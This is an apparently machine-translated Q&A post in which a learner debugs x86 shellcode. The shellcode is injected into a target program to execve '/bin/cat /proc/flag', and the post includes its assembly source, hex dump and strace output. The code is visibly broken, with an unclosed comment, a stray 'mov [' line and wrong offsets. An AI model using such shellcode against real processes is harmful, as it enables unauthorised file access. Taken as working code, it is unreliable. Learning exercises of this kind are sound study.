Первоначальная задача состояла в том, чтобы изменить массив «argv», указав на «/ proc / flag».
Я верю, что направляюсь в правильном направлении, но я могу пропустить шаг.
Вопрос: я не уверен, где я ошибся в своем коде, "" должен указывать на proc / flag, но он указывает на пустую строку.
Я довольно далеко, вот мой код:
#include <sys/syscall.h>
#define STRING "/bin/catN/proc/flagN"
#define STRLEN 7
#define STRLEN2 9
#define ARGV 18
#define ENVP 26 /* ARGV+8 */
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
jmp calladdr
popladdr:
pop esi /* esi points to STRING */
mov [esi + 18],esi /* set up argv[0] pointer to pathname */
xor eax,eax /* get a 32-bit zero value */
mov [8 + esi],al /* null-terminate our string */
mov [17 + esi],al
mov ecx, [esi + 18]
mov [esi + 25],ecx
mov [26 + esi], eax /*move 0 into envp
mov [
/* set up null envp */
mov al,SYS_execve /* syscall number */
mov ebx,esi /* arg 1: string pathname */
xor ecx, ecx
lea ecx,[ARGV + esi] /* arg 2: argv */
lea edx,[ENVP + esi] /* arg 3: envp */
int 0x80 /* execve("/bin/sh", ["/bin/sh", NULL], [NULL]) */
xor ebx,ebx /* arg 1: 0 */
mov eax,ebx
inc eax /* exit(0) */
/* mov+inc to avoid null byte */
int 0x80 /* invoke syscall */
calladdr:
call popladdr
.string STRING
Однако я получаю следующее:
bash -c '(cat shellcode.bin; echo; cat) | strace -e execve ./target'
execve("./target", ["./target"], [/* 22 vars */]) = 0
[ Process PID=13623 runs in 32 bit mode. ]
> length: 69
> 0000: EB 2A 5E 89 76 12 31 C0 88 46 08 88 46 11 8B 4E
> 0010: 12 89 4E 19 89 46 1A B0 0B 89 F3 31 C9 8D 4E 12
> 0020: 8D 56 1A CD 80 31 DB 89 D8 40 CD 80 E8 D1 FF FF
> 0030: FF 2F 62 69 6E 2F 63 61 74 4E 2F 70 72 6F 63 2F
> 0040: 66 6C 61 67 4E
execve("/bin/cat", ["/bin/cat", ""], [/* 0 vars */]) = 0
[ Process PID=13623 runs in 64 bit mode. ]
/bin/cat: : No such file or directory
+++ exited with 1 +++